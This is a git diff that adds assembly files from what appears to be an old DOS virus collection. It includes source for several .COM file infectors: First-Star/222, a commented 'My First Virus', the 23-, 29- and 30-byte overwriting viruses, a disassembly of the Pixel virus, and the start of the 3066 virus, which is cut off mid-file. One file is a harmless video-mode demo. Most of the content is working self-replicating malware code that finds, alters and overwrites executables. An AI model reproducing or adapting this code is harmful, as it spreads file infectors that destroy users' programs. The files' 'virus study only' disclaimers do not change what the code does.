DW 180DH + DW 0B30EH + DW 0DC12H + DW 0718H + DW 14D9H + DW 0B3B3H + DW 1002H + DW 1BDFH + DW 0801H + DW 0C6D8H + DW 1BDBH + DW 0D818H + DW 0C6C6H + DW 0BDC6H + DW 2222H + DW 221AH + DW 0B122H + DW 011BH + DW 0B302H + DW 14B3H + DW 0B3B3H + DW 0DB3H + DW 1818H + DW 02B3H + DW 0DF10H + DW 001BH + DW 0C108H + DW 0418H + DW 0C0C6H + DW 1618H + DW 0DBC6H + DW 001BH + DW 22B1H + DW 1A22H + DW 2222H + DW 18C1H + DW 0C601H + DW 02BDH + DW 0B3B3H + DW 140DH + DW 1F18H + DW 02B3H + DW 0DF10H + DW 2222H + DW 0B108H + DW 071BH + DW 2216H + DW 140DH + DW 1656H + DB 'jg"ocl"ujm"`pmwejv"{mw"' + DW 2210H + DW 0822H + DW 22B1H + DW 1A22H + DW 2222H + DW 1BB1H + DW 0B101H + DW 0B302H + DW 0DB3H + DW 1814H + DW 0B31EH + DW 1002H + DW 1BDFH + DW 0800H + DW 1BB1H + DW 0201H + DW 0B3B3H + DW 2216H + DB 0DH + DB '400."Qikqo"Mlg."Acrvkcl"' + DW 2210H + DW 0822H + DW 22B1H + DW 1A22H + DW 2222H + DW 1BB1H + DW 0B101H + DW 0B302H + DW 0DB3H + DW 1814H + DW 0B310H + DW 1002H + DW 0DDFH + DW 1814H + DW 0B305H + DW 1002H + DW 1BDFH + DW 0801H + DW 1BB1H + DW 0201H + DW 0B3B3H + DW 2216H + DB 0DH + DB 'Vpkrq."clf"Qw`/Xgpm"lmu"' + DW 2210H + DW 0822H + DW 22B1H + DW 1A22H + DW 2222H + DW 1BB1H + DW 0B101H + DW 0B302H + DW 0DB3H + DW 1814H + DW 0B310H + DW 1002H + DW 1BDFH + DW 0801H + DW 1BB1H + DW 0B105H + DW 011BH + DW 0B302H + DW 16B3H + DW 0D22H + DB 'qjcliq"{mw"ceckl.""ukvj"' + DW 2210H + DW 0822H + DW 0C6C2H + DW 1AC6H + DW 2222H + DW 1BB1H + DW 0B101H + DW 0B302H + DW 0DB3H + DW 1814H + DW 0B310H + DW 1002H + DW 1BDFH + DW 0801H + DW 0C6C2H + DW 0BDC6H + DW 061BH + DW 0C6C1H + DW 22BDH + DW 0222H + DW 0B3B3H + DW 2216H + DB 0DH + DB 'jkq"ncvgqv,,,' + DW 081BH + DW 1B10H + DW 1A06H + DW 2222H + DW 0C208H + DW 0C6C6H + DW 0C6C0H + DW 02C3H + DW 0B3B3H + DW 140DH + DW 1118H + DW 02B3H + DW 0DF10H + DW 071BH + DW 0B108H + DW 061BH + DW 22B1H + DW 22B1H + DW 0222H + DW 1A18H + DW 1BB3H + DW 1A04H + DW 061BH + DW 0B108H + DW 2222H + DW 0B302H + DW 0DB3H + DW 1814H + DW 0B315H + DW 1002H + DW 22DFH + DW 0822H + DW 1BB1H + DW 0B106H + DW 0C222H + DW 1E18H + DW 0BDC6H + DW 011BH + DW 0C61AH + DW 0C0C6H + DW 0C6C6H + DW 22DBH + DW 0222H + DW 0B3B3H + DW 140DH + DW 1418H + DW 02B3H + DW 0DF10H + DW 001BH + DW 0C108H + DW 0C6C6H + DW 0C0C6H + DW 0DBC6H + DW 071BH + DW 2217H + DB 0CH + DB 'Qikqo"3;;0"/"Tkpwq' + DW 0118H + DW 2223H + DW 2210H + DW 0C108H + DW 0118H + DW 1AC6H + DW 2222H + DW 1BB1H + DW 0206H + DW 0B3B3H + DW 140DH + DW 0A18H + DW 02B3H + DW 0DF10H + DW 0A1BH + DW 0D808H + DW 0418H + DW 0DBC6H + DW 001BH + DW 1BB1H + DW 0207H + DW 0B3B3H + DW 1B17H + DW 0D01H + DB 'Egv"c"ncvg"rcqq#' + DW 011BH + DW 2210H + DW 0B108H + DW 011BH + DW 0D81AH + DW 0DBC6H + DW 001BH + DW 0B302H + DW 0DB3H + DW 1811H + DW 0D909H + DW 0D914H + DW 12D9H + DW 10DFH + DW 071BH + DW 0B108H + DW 081BH + DW 1BB1H + DW 0207H + DW 1A18H + DW 22B3H + DW 0822H + DW 1BB1H + DW 1A01H + DW 22B1H + DW 0B302H + DW 0DB3H + DW 1811H + DW 0D919H + DW 1002H + DW 1BDFH + DW 0805H + DW 1BB1H + DW 0D811H + DW 0918H + DW 0DBC6H + DW 011BH + DW 021AH + DW 0B3B3H + DW 120DH + DW 2218H + DW 0DFD9H + DW 1B10H + DW 0806H + DW 1BB1H + DW 0B111H + DW 121BH + DW 0D1AH + DW 1812H + DW 0D921H + DW 10DFH + DW 011BH + DW 0C208H + DW 1118H + DW 0DBC6H + DW 121BH + DW 281AH + DB 2 + DB '(,GZG' + DW 5E02H + DW 0102H + DB '========"""' + DW 0111H + DW 0202H + DW 2802H + DW 0EFD3H + DW 1348H + DW 7B68H + DW 14D4H + DW 0202H + DW 0202H + DB 'FMQ' + DB 2 + DB '""""' + DW 0202H + DW 0202H + DW 0102H + DB '========GZG' + DW 0705H + DW 2302H + DW 2802H + DW 0EFD3H + DB 'H"*' + DW 2300H + DW 0002H + DW 0202H + DB 2 + DB 'VCPEGP,GZG' + DW 0202H + DW 9502H + DW 4432H + DW 7304H + DW 9504H + DW 0232H + DB 'VGOR' + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0202H + DW 0207H + DW 002AH + DW 0223H + DW 0222H + DW 22CFH + DW 0202H +H006F1: + MOV DX,3202H + IRET +P00100 ENDP + DW 3E23H + DW 7001H + DW 0B629H + DW 0CF2EH + DW 8A23H + DW 0114H + DW 0B603H + DW 0CF28H + DW 8223H + DW 1BF8H + DW 067EH + DW 073EH + DW 0176H + DW 77E9H + DW 0BC92H + DW 033AH + DW 02BAH + DW 8CBAH + DW 0BDC2H + DW 0202H + DW 06BBH + DW 0EA07H + DW 0207H + DW 0FCE9H + DW 88EBH + DW 0E102H + DW 8959H + DW 31D5H + DW 0FEC2H + DB 0AEH + DB '>"p' + DW 0A907H + DW 0FAE0H + DW 4EE9H + DW 123EH + DW 0571H + DW 0E682H + DW 08F2H + DW 0E9E2H + DW 3EF3H + DW 761AH + DW 7111H + DW 2E1BH + DW 0012H + DW 00C2H + DW 00C2H + DW 00C2H + DW 82C2H + DW 8DE6H + DW 0E208H + DW 0D8E9H + DW 0C083H + DW 02A2H + DW 0F889H + DW 0D0E9H + DW 193EH + DW 0570H + DW 0CE77H + DW 0F682H + DW 0E982H + DW 3EC5H + DW 891BH + DW 0AEDBH + DW 0CA88H + DW 22B2H + DW 0076H + DW 49AEH + DW 0EF30H + DW 0F143H + DW 89A9H + DW 4BC9H + DW 0A8E2H + DW 0B8C1H + DW 0444H + DW 18B6H + DW 23CFH + DW 1BB6H + DW 23CFH + DW 0D288H + DW 0C0FCH + DW 45B6H + DW 0A7BCH + DW 0CF04H + DW 0B823H + DW 0446H + DW 39B6H + DW 23CFH + DW 11BBH + DW 0B802H + DW 043EH + DW 4CB6H + DW 23CFH + DW 103FH + DW 7702H + DW 0E901H + DW 9253H + DW 4DB6H + DW 23CFH + DW 103FH + DW 7602H + DW 0B845H + DW 0466H + DW 39B6H + DW 23CFH + DW 2DB6H + DW 23CFH + DW 048EH + DW 049EH + DW 1C8BH + DW 049CH + DW 73B8H + DW 0B604H + DW 0CF18H + DW 0BB23H + DW 0205H + DW 3CB8H + DW 0B604H + DW 0CF4CH + DW 3F23H + DW 0210H + DW 2377H + DW 4DB6H + DW 23CFH + DW 103FH + DW 7702H + DW 0B81AH + DW 0446H + DW 39B6H + DW 23CFH + DW 18B6H + DW 1C8CH + DW 049EH + DW 1489H + DW 049CH + DW 23CFH + DW 0B2E9H + DW 7BE9H + DW 0B692H + DW 0CF2DH + DW 8E23H + DW 0A004H + DW 8B04H + DW 0A21CH + DW 0B804H + DW 048DH + DW 73B9H + DW 8904H + DW 1A45H + DW 0EBA1H + DW 8904H + DW 1445H + DW 0E5A1H + DW 8904H + DW 1745H + DW 02BAH + DW 0CF41H + DW 8B23H + DW 0E90CH + DW 0BA04H + DW 4103H + DW 0CB31H + DW 23CFH + DW 02BAH + DW 0CF3FH + DB '#p!' + DW 0E7A1H + DW 0B604H + DW 893DH + DW 0E71CH + DW 0BB04H + DW 0200H + DW 0EFB8H + DW 0CF04H + DW 0B623H + DW 893CH + DW 0E71CH + DW 0CF04H + DW 8923H + DW 0EF1CH + DW 8304H + DW 0E9F9H + DW 7700H + DW 0B60DH + DW 8C18H + DW 0A01CH + DW 8904H + DW 0A214H + DW 0CF04H + DW 0EB23H + DW 0FD77H + DW 8DB8H + DW 0BA04H + DW 3F00H + DW 23CFH + DW 0E7A1H + DW 0EA04H + DW 0FA9DH + DW 03BAH + DW 8955H + DW 0E71CH + DW 8904H + DW 0E50CH + DW 8904H + DW 0EB14H + DW 0CF04H + DW 0BA23H + DW 4103H + DW 0C89H + DW 04E9H + DW 8DB8H + DW 0CF04H + DW 0B623H + DW 0B839H + DW 0446H + DW 23CFH + DW 39B6H + DW 0A7B8H + DW 0CF04H + DW 0BA23H + DW 4E02H + DB 0CFH + DB '#OaCdgg"upmvg"Ujcng######' +S00000 ENDS + END P00100 + \ No newline at end of file diff --git a/0-9/1ST_STAR.ASM b/0-9/1ST_STAR.ASM new file mode 100755 index 0000000..352b021 --- /dev/null +++ b/0-9/1ST_STAR.ASM @@ -0,0 +1,161 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +; +; First-Star / 222 Virus +; +; (C) by Glenn Benton in 1992 +; This is a non-resident direct action .COM infector in current dirs. +; +; +; + Org 0h + +Start: Jmp MainVir + Db '*' + +MainVir: Call On1 +On1: Pop BP + Sub BP,Offset MainVir+3 + Push Ax + Mov Ax,Cs:OrgPrg[BP] + Mov Bx,Cs:OrgPrg[BP]+2 + Mov Cs:Start+100h,Ax + Mov Cs:Start[2]+100h,Bx + Mov Ah,1ah + Mov Dx,0fd00h + Int 21h + Mov Ah,4eh +Search: Lea Dx,FileSpec[BP] + Xor Cx,Cx + Int 21h + Jnc Found + Jmp Ready +Found: Mov Ax,4300h + Mov Dx,0fd1eh + Int 21h + Push Cx + Mov Ax,4301h + Xor Cx,Cx + Int 21h + Mov Ax,3d02h + Int 21h + Mov Bx,5700h + Xchg Ax,Bx + Int 21h + Push Cx + Push Dx + Mov Ah,3fh + Lea Dx,OrgPrg[BP] + Mov Cx,4 + Int 21h + Mov Ax,Cs:[OrgPrg][BP] + Cmp Ax,'MZ' + Je ExeFile + Cmp Ax,'ZM' + Je ExeFile + Mov Ah,Cs:[OrgPrg+3][BP] + Cmp Ah,'*' + Jne Infect +ExeFile: Call Close + Mov Ah,4fh + Jmp Search +FSeek: Xor Cx,Cx + Xor Dx,Dx + Int 21h + Ret +Infect: Mov Ax,4202h + Call FSeek + Sub Ax,3 + Mov Cs:CallPtr[BP]+1,Ax + Mov Ah,40h + Lea Dx,MainVir[BP] + Mov Cx,VirLen + Int 21h + Mov Ax,4200h + Call FSeek + Mov Ah,40h + Lea Dx,CallPtr[BP] + Mov Cx,4 + Int 21h + Call Close +Ready: Mov Ah,1ah + Mov Dx,80h + Int 21h + Pop Ax + Mov Bx,100h + Push Cs + Push Bx + Retf +Close: Pop Si + Pop Dx + Pop Cx + Mov Ax,5701h + Int 21h + Mov Ah,3eh + Int 21h + Mov Ax,4301h + Pop Cx + Mov Dx,0fd1eh + Int 21h + Push Si + Ret + +CallPtr Db 0e9h,0,0 +FileSpec Db '*.COM',0 + +OrgPrg: Int 20h + Nop + Nop + +VirLen Equ $-MainVir + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + +;; +;> and Remember Don't Forget to Call <; +;> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <; +;; + diff --git a/0-9/203.ASM b/0-9/203.ASM new file mode 100755 index 0000000..6f9d33a --- /dev/null +++ b/0-9/203.ASM @@ -0,0 +1,187 @@ +;****************************************************************** +;* * +;* My First Virus, a simple non-overwriting COM infector * +;* * +;* by, Solomon * +;* * +;****************************************************************** + + .model tiny ; Memory model + .code ; Start Code + org 100h ; Start of COM file + +MAIN: db 0e9h,00h,00h ; Jmp START_VIRUS + +START_VIRUS proc near ; Real start of Virus + call FIND_OFFSET + +; Calculate change in offset from host program. + +FIND_OFFSET: pop bp ; BP holds current IP + sub bp, offset FIND_OFFSET ; Calculate net change + ; Change BP to start of + ; virus code + +; Restore original bytes to the infected program. + + lea si,[bp+ORIG_START] ; Restore original 3 bytes + mov di,100h ; to 100h, start of file + push di ; Copy 3 bytes + movsw + movsb + +; Change the DTA from the default so FINDFIRST/FINDNEXT won't destroy +; original command line parameters. + + lea dx,[bp+NEW_DTA] ; Point to new DTA area + call SET_DTA ; Go change it + +; DOS Findfirst / Findnext services + + +FINDFIRST: mov ah,4eh ; DOS find first service + lea dx,[bp+COM_MASK] ; Search for any COM file + xor cx,cx ; Attribute mask +FINDNEXT: int 21h ; Call DOS to do it + jc QUIT ; Quit if there are errors + ; or no more files + +; Ok, if I am here, then I found a possible victim. Open the file and +; check it for previous infections. + + mov ax,3d00h ; DOS Open file, read only + lea dx,[bp+NEW_DTA+30] ; Point to filename we found + int 21h ; Call DOS to do it + xchg ax,bx ; Put file handle in BX + +; Check file for previous infection by checking for our presence at +; then end of the file. + + mov ah,3fh ; DOS Read file + lea dx,[bp+ORIG_START] ; Save the original header + mov cx,3 ; Read 3 bytes + int 21h ; Call DOS to do it + mov ax,word ptr [bp+NEW_DTA+26] ; Put filename in AX + mov cx,word ptr [bp+ORIG_START+1] ; Jmp offset + add cx,END_VIRUS-START_VIRUS+3; Convert to filesize + cmp ax,cx ; Compare file size's + jnz INFECT_COM ; If healthy, go infect it + mov ah,3eh ; Otherwise close file and + int 21h ; try to find another victim + mov ah,4fh ; DOS find next file + jmp short FINDNEXT ; Find another file + +; Restore default DTA and pass control back to original program. +; Call any activation routines here. + +QUIT: mov dx,80h ; Restore original DTA + call SET_DTA ; Go change it + retn ; End Virus and start original + ; Program. Remember, DI holding + ; 100h was pushed on the stack. + +;*** Subroutine INFECT_COM *** + +INFECT_COM: + +; Reset the file attributes to normal so I can write to the file + + mov ax,4301h ; DOS change file attr + xor cx,cx ; Zero attributes + lea dx,[bp+NEW_DTA+30] ; Point to filename in DTA + int 21h ; Call DOS to do it + +; Calculate jump offset for header of victim so it will run virus first. + + mov ax,word ptr [bp+NEW_DTA+26] ; Put filesize in AX + sub ax,3 ; Subtract 3, size-jmp_code + mov word ptr [bp+JMP_OFFSET],ax ; Store new offset + +; Close the file and reopen it for read/write. BX still holds file handle. + + mov ah,3eh ; DOS close file + int 21h ; Call DOS to do it + mov ax,3d02h ; DOS open file, read/write + int 21h ; Call DOS to do it + xchg ax,bx ; Put file handle in BX + +; Write the new header at the beginning of the file. + + mov ah,40h ; DOS write to file + mov cx,3 ; Write 3 bytes + lea dx,[bp+HEADER] ; Point to the 3 bytes to write + int 21h ; Call DOS to do it + +; Move to end of file so I can append the virus to it. + + mov al,2 ; Select end of file + call FILE_PTR ; Go to end of file + +; Append the virus to the end of the file. + + mov ah,40h ; DOS write to file + mov cx,END_VIRUS-START_VIRUS ; Length of virus + lea dx,[bp+START_VIRUS] ; Start from beginning of virus + int 21h ; Call DOS to do it + +; Restore the file's original timestamp and datestamp. These values were +; stored in the DTA by the Findfirst / Findnext services. + + mov ax,5701h ; DOS set file date & time + mov cx,word ptr [bp+NEW_DTA+22] ; Set time + mov dx,word ptr [bp+NEW_DTA+24] ; Set date + int 21h ; Call DOS to do it + +; Restore original file attributes. + + mov ax,4301h ; DOS change file attr + mov cx,word ptr [bp+NEW_DTA+21] ; Get original file attr + lea dx,[bp+NEW_DTA+30] ; Point to file name + int 21h ; Call DOS + +; Lastly, close the file and go back to main program. + + mov ah,3eh ; DOS close file + int 21h ; Call DOS to do it + jmp QUIT ; We're done + +;*** Subroutine SET_DTA *** + +SET_DTA proc near + mov ah,1ah ; DOS set DTA + int 21h ; Call DOS to do it + retn ; Return +SET_DTA endp + + +;*** Subroutine FILE_PTR *** + + +FILE_PTR proc near + mov ah,42h ; DOS set read/write pointer + xor cx,cx ; Set offset move to zero + cwd ; Equivalent to xor dx,dx + int 21h ; Call DOS to do it + retn ; Return +FILE_PTR endp + + + +; This area will hold all variables to be encrypted + +COM_MASK db '*.com',0 ; COM file mask + +ORIG_START db 0cdh,20h,0 ; Header for infected file + +HEADER db 0e9h ; Jmp command for new header + +START_VIRUS endp + +END_VIRUS equ $ ; Mark end of virus code + +; This data area is a scratch area and is not included in virus code. + +JMP_OFFSET dw ? ; Jump offset for new header +NEW_DTA db 43 dup(?) ; New DTA location + + end MAIN diff --git a/0-9/23.asm b/0-9/23.asm new file mode 100755 index 0000000..5a1c07b --- /dev/null +++ b/0-9/23.asm @@ -0,0 +1,37 @@ +; The EXEcution III Virus. +; +; Well, you're now the prouw owner of the smallest virus ever made! +; only 23 bytes long and ofcourse again very lame.. +; But what the heck, it's just an educational piece of code!! +; +; (C) 1993 by [DRkRY] of TridenT (Ooooooranje Boooooooven!) +; +; Tnx to myself, my assembler, DOS (yuck) and to John Tardy for his +; nice try to make the smallest (27 bytes and 25 bytes) virus... gotcha!! ;-)) +; +; BTW Don't forget, I only tested it unter DOS 5.0 so on other versions +; it might not work! + +_CODE SEGMENT + ASSUME CS:_CODE + + ORG 100h +START: ; That's where we're starting... + FILE DB '*.*',0h ; Dummy instruction, SUB's 0FFh from CH + + MOV AH,4Eh ; Let's search! +DO_IT: MOV DX,SI ; Make DX = 100h (offset file) + INT 21h ; Search now dude! + + MOV AX,3D01h ; Hmm, infect that fucking file! + MOV DX,9Eh ; Name is at DS:[9Eh] + INT 21h ; Go do it! + XCHG BX,AX ; Put the handle in BX + + MOV AH,40h ; Write myself! + JMP DO_IT ; Use other routine + +_CODE ENDS + END START + +; If you don't like my english: Get lost, you can understand it! diff --git a/0-9/25.ASM b/0-9/25.ASM new file mode 100755 index 0000000..ec555e8 --- /dev/null +++ b/0-9/25.ASM @@ -0,0 +1,30 @@ +; Basic little bitty program for people learning about the different modes +; you can stick on your monitor. This program will put you into 80*50 on a +; VGA monitor, and should be 80*43 on an EGA monitor (I dunno, haven't tested +; it.) Anyways, I tried to comment it so someone not knowing asm would be +; able to understand it. +; +; Coded by The Crypt Keeper/Kevin Marcus +; You may feel free to do absolutely anything to this code, so long as it is +; not distributed in a modified state. (Incorporate it in your programs, I +; don't care. Just do not change >THIS< program.) +; +; The Programmer's Paradise. (619)/457-1836 + +IDEAL ; Ideal Mode in TASM is t0tallie /< rad man. +DOSSEG ; Standard Segment shit. +MODEL tiny ; What model are we in?! +DATASEG ; Data Segment starts here, man. +exitcode db 0 ; 'exitcode' be zer0, man. +CODESEG ; Code Segment starts here, dude. + org 100h ; Where do .COM files start? +Start: + mov ax,0003h ; stick 3 into ax. + int 10h ; Set up 80*25, text mode. Clear the screen, too. + +Exit: + + mov ah,4ch ; Lets ditch. + mov al,[exitcode] ; Make al 0. Why not xor!? Suck a ____. + int 21h ; "Make it so." + END Start ; No more program. \ No newline at end of file diff --git a/0-9/299.ASM b/0-9/299.ASM new file mode 100755 index 0000000..62a866f --- /dev/null +++ b/0-9/299.ASM @@ -0,0 +1,150 @@ + +;***************************************************************************** +; +; Pixel - 299 virus +; +; Disassembled By Admiral Bailey [YAM '92] +; +; Notes: I dont know where the hell I got this one from but when I found it on +; one of my disks it was named incorectly. Some Amst shit but I looked +; it up in the vsum and its named as Pixel so Il use that name. +; Anyways its just a plain com infecting virus that displays a messege +; when executed. Nothing big. +; +;***************************************************************************** + +data_1e equ 6Ch +data_2e equ 96h +data_3e equ 98h +data_4e equ 9Eh +data_15e equ 12Bh ;* +data_16e equ 12Dh ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +Pixel proc far + +start: + jmp short begin + dw 5649h +data_7 db 0 +data_8 db 2Ah, 2Eh, 43h, 4Fh, 4Dh, 0 ; '*.com' +data_10 dw 0, 8918h +data_12 dw 0 + +begin: ; loc_1: + push ax + mov ax,cs + add ax,1000h + mov es,ax + inc data_7 + mov si,100h + xor di,di ; Zero register + mov cx,12Bh + rep movsb ; Mov [si] to es:[di] + mov dx,offset data_8 ; load the type of file to find + mov cx,6 ; Im not sure what attrib + mov ah,4Eh ; Find first file + int 21h ; + + jc quit ; if none found then... +get_file: ; loc_2 + mov dx,data_4e ; file name + mov ax,3D02h ; open file + int 21h + + mov bx,ax + push es + pop ds + mov dx,data_15e ; buffer for read + mov cx,0FFFFh ; number of bytes to read + mov ah,3Fh ; read file + int 21h + + add ax,12Bh + mov cs:data_12,ax + cmp word ptr ds:data_16e,5649h ; probably comparing size + je not_this_file ; of file + xor cx,cx ; Zero register + mov dx,cx + mov ax,4200h ; move file pointer + int 21h + + jc not_this_file ; if error the quit this file + xor dx,dx ; Zero register + mov cx,cs:data_12 + mov ah,40h ; write virus to file + int 21h + + mov cx,cs:data_2e ; old date + mov dx,cs:data_3e ; new time + mov ax,5701h ; set files date & time + int 21h + +not_this_file: ; loc_3: + mov ah,3Eh ; close this file + int 21h + + push cs + pop ds + mov ah,4Fh ; find another file + int 21h + + jc quit ; if none found quit + jmp short get_file ; if found then infect +quit: ; loc_4 + cmp data_7,5 + jb loc_5 ; Jump if below + mov ax,40h + mov ds,ax + mov ax,ds:data_1e + push cs + pop ds + and ax,1 + jz loc_5 ; Jump if zero + mov dx,offset data_13 ; gets the messege + mov ah,9 ; display string + int 21h + + int 20h ; Quit program + +data_13 db 'Program sick error:Call doctor o' ; messege + db 'r buy PIXEL for cure description' ; displayed when + db 0Ah, 0Dh, '$' ; run +loc_5: + mov si,offset data_14 + mov cx,22h + xor di,di ; Zero register + rep movsb ; Rep when cx >0 Mov [si] to es + pop bx + mov cs:data_10,0 + mov word ptr cs:data_10+2,es + jmp dword ptr cs:data_10 + +data_14 db 1Eh ; cant figure this + db 07h,0BEh, 2Bh, 02h,0BFh, 00h ; part out... + db 01h,0B9h,0FFh,0FFh, 2Bh,0CEh ; probably infected + db 0F3h,0A4h, 2Eh,0C7h, 06h, 00h ; file before. + db 01h, 00h, 01h, 2Eh, 8Ch, 1Eh + db 02h, 01h, 8Bh,0C3h, 2Eh,0FFh + db 2Eh, 00h, 01h,0CDh ; this is an int 20h + db 20h + +Pixel endp + +seg_a ends + + end start + + +>>> Article From Evolution #1 - YAM '92 + +Article Title: Thrasher Trojan Disassembly +Author: Natas Kaupas + + + diff --git a/0-9/29bytes.asm b/0-9/29bytes.asm new file mode 100755 index 0000000..1ea72cc --- /dev/null +++ b/0-9/29bytes.asm @@ -0,0 +1,35 @@ +;Smallest in the trivial series of viruses, I think.... +;Last I saw was 30 bytes - this one goes to 29. +;Code by Stormbringer... stupid virus, but small. + +.model tiny +.radix 16 +.code + org 100 +start: + +FindFile: + xchg cx,ax ;ax defaults to zero on runtime - cx doesn't + push si ;si defaults to 100h under dos - use this l8r + mov dx,offset filemask + mov ah,4e + int 21 + +OverwriteFile: + mov dx,9e + mov ah,3c + int 21 + +WriteVirus: + xchg bx,ax + mov ah,40 + pop dx ;get 100h from si earlier for write pointer + mov cl,endvir-start ;move only to CL, CH is already zero + int 21 + +Terminate: + ret ;terminate by returning to PSP (Int 20) + +filemask db '*.*',0 +endvir: +end start diff --git a/0-9/30.ASM b/0-9/30.ASM new file mode 100755 index 0000000..66f6c9c --- /dev/null +++ b/0-9/30.ASM @@ -0,0 +1,26 @@ +code segment + assume cs:code,ds:code,es:code,ss:code + org 100h +main proc near + mov dx,offset(nev) ; offset to '*.*' + mov ah,4Eh + int 21h ; find first + mov dx,009Eh + mov ax,3D01h ; writing + int 21h ; open a file + mov bx,ax + mov ah,40h + mov cl,offset(nev)-100h+4 ; byte-szam + mov dx,100h + int 21h ; write to file +nev: DB '*.*' +DB 0h +main endp +code ends + end main + +;; +;> and Remember Don't Forget to Call <; +;> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <; +;; + diff --git a/0-9/3066 (9).ASM b/0-9/3066 (9).ASM new file mode 100755 index 0000000..70933dc --- /dev/null +++ b/0-9/3066 (9).ASM @@ -0,0 +1,1491 @@ + +PAGE 59,132 + +; +; +; 3066 +; +; Created: 19-Mar-89 +; Version: +; Passes: 5 Analysis Options on: QRS +; +; +; + +.286c + +data_1e equ 24h ; (0000:0024=45h) +data_2e equ 26h ; (0000:0026=3D1h) +data_3e equ 70h ; (0000:0070=0FF53h) +data_4e equ 72h ; (0000:0072=0F000h) +data_5e equ 80h ; (0000:0080=1094h) +data_6e equ 82h ; (0000:0082=123h) +data_7e equ 84h ; (0000:0084=109Eh) +data_8e equ 86h ; (0000:0086=123h) +data_9e equ 90h ; (0000:0090=156h) +data_10e equ 92h ; (0000:0092=44Bh) +data_11e equ 9Ch ; (0000:009C=0BCh) +data_13e equ 0B3h ; (0000:00B3=1) +data_14e equ 0C8h ; (0000:00C8=0DAh) +data_15e equ 0D1h ; (0000:00D1=10h) +data_16e equ 0DFh ; (0000:00DF=1) +data_17e equ 0E3h ; (0000:00E3=1) +data_18e equ 0EAh ; (0000:00EA=123h) +data_19e equ 0ECh ; (0000:00EC=10DAh) +data_20e equ 0EEh ; (0000:00EE=23h) +data_21e equ 0F1h ; (0000:00F1=10h) +data_22e equ 151h ; (0000:0151=0EAh) +data_23e equ 153h ; (0000:0153=0A6F0h) +data_24e equ 155h ; (0000:0155=0EAh) +data_25e equ 449h ; (0000:0449=3) +data_26e equ 972h ; (0000:0972=74h) +data_27e equ 80h ; (00AE:0080=0FFh) +data_28e equ 0A0h ; (5E5F:00A0=0FFh) +data_29e equ 0F00h ; (5E5F:0F00=0FFh) +data_30e equ 0FA0h ; (5E5F:0FA0=0FFh) +data_31e equ 0FF60h ; (5E5F:FF60=0FFFFh) +data_32e equ 0E0h ; (683D:00E0=0FFFFh) +data_33e equ 0 ; (6FB8:0000=0) +data_34e equ 4 ; (6FB8:0004=0) +data_35e equ 5 ; (6FB8:0005=0) +data_36e equ 87h ; (6FB8:0087=0) +data_37e equ 0A0h ; (6FB8:00A0=0) +data_38e equ 0DFh ; (6FB8:00DF=0) +data_39e equ 0E0h ; (6FB8:00E0=0) +data_40e equ 0E2h ; (6FB8:00E2=0) +data_41e equ 0E3h ; (6FB8:00E3=0) +data_42e equ 0E4h ; (6FB8:00E4=0) +data_43e equ 0E6h ; (6FB8:00E6=0) +data_44e equ 0E8h ; (6FB8:00E8=0) +data_45e equ 0EAh ; (6FB8:00EA=0) +data_46e equ 0ECh ; (6FB8:00EC=0) +data_47e equ 0EEh ; (6FB8:00EE=0) +data_48e equ 0EFh ; (6FB8:00EF=0) +data_49e equ 0F1h ; (6FB8:00F1=0) +data_50e equ 0F3h ; (6FB8:00F3=0) +data_51e equ 0F5h ; (6FB8:00F5=0) +data_93e equ 100h ; (7188:0100=0) +data_94e equ 0E2h ; (969B:00E2=0) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +3066 proc far + +start: + jmp loc_5 ; (0243) + db 01h,0B4h +data_54 dw 0CD09h ; Data table (indexed access) + ; xref 6FB8:0ADC, 0B5E, 0BA4, 0C67 + ; 0C7B, 0CCB, 0CD4 + db 21h,0B8h, 00h, 4Ch,0CDh, 21h + db 'This program only exists to beco' + + + + + + db 'me infected - COM version', 0Dh, 0Ah + + + + + db '$' + db 8Dh, 16h, 0Dh,0FFh,0FFh, 00h + db 01h, 8Ch +data_56 dw 4D10h ; Data table (indexed access) + ; xref 6FB8:0270, 02DC, 046C +data_57 dw 6FB8h ; Data table (indexed access) + ; xref 6FB8:0276, 02E0, 0470 +data_58 db 0 ; Data table (indexed access) + ; xref 6FB8:0387, 03C8, 0608, 06A4 + db 8Dh, 16h, 0Dh,0FFh,0FFh, 09h + db 0CDh, 21h,0B8h, 00h, 4Ch,0CDh + db 